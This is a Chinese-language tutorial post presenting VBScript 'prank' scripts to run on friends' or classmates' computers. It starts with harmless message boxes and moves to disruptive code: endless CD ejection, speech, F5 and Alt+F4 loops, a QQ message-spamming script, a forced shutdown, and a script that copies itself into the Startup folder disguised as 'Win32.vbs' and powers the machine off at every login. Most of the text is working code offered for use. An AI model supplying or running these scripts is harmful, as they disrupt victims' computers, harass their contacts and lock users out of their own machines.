好玩的VBS

1. 新手教学（大神请跳到第五步）：

   编写vbs有多简单？新建“文本文档”，输入msgbox "一大波病毒正在靠近..." ，点击文件->另存为->重命名为“代码.vbs”。文件名不重要，重要的是后缀要是“.vbs”。

   

2. 2

   双击保存的文件：代码.vbs，即弹出一个对话框。记下这段小小的代码，去同学家里恶搞吧。当然你还可以输入其他有趣的文字。

   

   

3. 当然，如此恶搞还是不够的。那就来一个无限循环吧，输入图中代码另存为vbs格式。双击打开。此时，会弹出提示对话框，点击确定和关闭按钮之后，再一次弹出窗口，如此循环，无法正常关闭。

   

   

4. 那么到底要如何才能关闭呢？打开任务管理器结束进程“wscript.exe”即可

   

5. 到此新手教学完毕，下面进入大神课堂教学。

    

   无限弹出光驱：

   ------------------------------------------------

   set wmp=createobject("wmplayer.ocx") 

   set cd=wmp.cdromcollection.item(0) 

   do 

   cd.eject 

   loop 

   ------------------------------------------------

6. 无尽语音报数：

   无限语音从1数到无限大。

   ------------------------------------------------

   Set s = CreateObject("sapi.spvoice") 

   i=0 

   do 

   s.speak i 

   i=i+1 

   loop 

   ------------------------------------------------

7. 无尽刷新：

   慎用，如此刷新打开任务管理器都难，只能拔掉电源。

   ------------------------------------------------

   set ws=createobject("wscript.shell") 

   do 

   ws.sendkeys "{f5}" 

   loop 

   ------------------------------------------------

8. 修改注册表：

   ------------------------------------------------

   on error resume next 

   set wr=createobject("scripting.filesystemobject") 

   set ws=createobject("wscript.shell") 

   set f = wr.getfile(wscript.scriptfullname) 

   q=ws.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup") 

   if not f="Win32.vbs" then wr.copyfile f,q&"\Win32.vbs",true 

   ws.run"shutdown -p",vbhide

   ------------------------------------------------

9. QQ信息骚扰恶搞：

   打开好友的聊天对话框，然后记下聊天对话框的名称（如图：小敏），把下面代码里的小敏替换一下。代码中的“10”代表发送次数，把10修改一下就可以自定义发送QQ信息到好友的次数。把发送的内容“复制”即可，当打开本vbs的时候就会把剪切板里的内容粘贴发送过去。

   ------------------------------------------------

   On Error Resume Next 

   Dim wsh,ye 

   set wsh=createobject("wscript.shell") 

   for i=1 to 10 

   wscript.sleep 700 

   wsh.AppActivate("小敏") 

   wsh.sendKeys "^v" 

   wsh.sendKeys i 

   wsh.sendKeys "%s" 

   next 

   wscript.quit

   ------------------------------------------------

   

10. 直接关机：

    ------------------------------------------------

    dim WSHshell 

    set WSHshell = wscript.createobject("wscript.shell") 

    WSHshell.run "shutdown -f -s -t 00",0 ,true

     

    ------------------------------------------------

11. 不断按下alt+f4 ：

    打开任何程序都关掉

    ------------------------------------------------

    dim WSHshell 

    set WSHshell = wscript.createobject("wscript.shell") 

    do

     

    wscript.sleep 2500 

    WSHshell.SendKeys "%{F4}" 

    loop 

    ------------------------------------------------

12. 开玩笑也得有个度，凡事都不要太过。上面的代码的尺度还不算很大，大家可以玩玩。